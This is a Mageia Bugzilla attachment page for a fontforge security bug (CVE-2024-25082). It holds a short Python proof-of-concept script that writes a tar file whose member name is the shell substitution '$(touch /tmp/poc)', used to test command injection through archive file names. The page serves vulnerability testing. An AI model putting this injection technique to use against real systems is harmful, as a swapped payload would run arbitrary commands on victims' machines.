Mageia Bugzilla – Attachment 14476 Details for
Bug 32956
fontforge new security issues CVE-2024-2508[12]
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
New Account
|
Forgot Password
Recipe for creating a test tar file for CVE-2024-25082
makepoc.py (text/x-python3), 208 bytes, created by
Len Lawrence
on 2024-03-21 19:52:36 CET
(
hide
)
Description:
Recipe for creating a test tar file for CVE-2024-25082
Filename:
MIME Type:
Creator:
Len Lawrence
Created:
2024-03-21 19:52:36 CET
Size:
208 bytes
patch
obsolete
>#!/usr/bin/env python3 >import tarfile >import os > >exec_command = f"$(touch /tmp/poc)" > >with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t: > t.addfile(tarfile.TarInfo(exec_command)) > >exit()
#!/usr/bin/env python3 import tarfile import os exec_command = f"$(touch /tmp/poc)" with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t: t.addfile(tarfile.TarInfo(exec_command)) exit()
View Attachment As Raw
Actions:
View
Attachments on
bug 32956
: 14476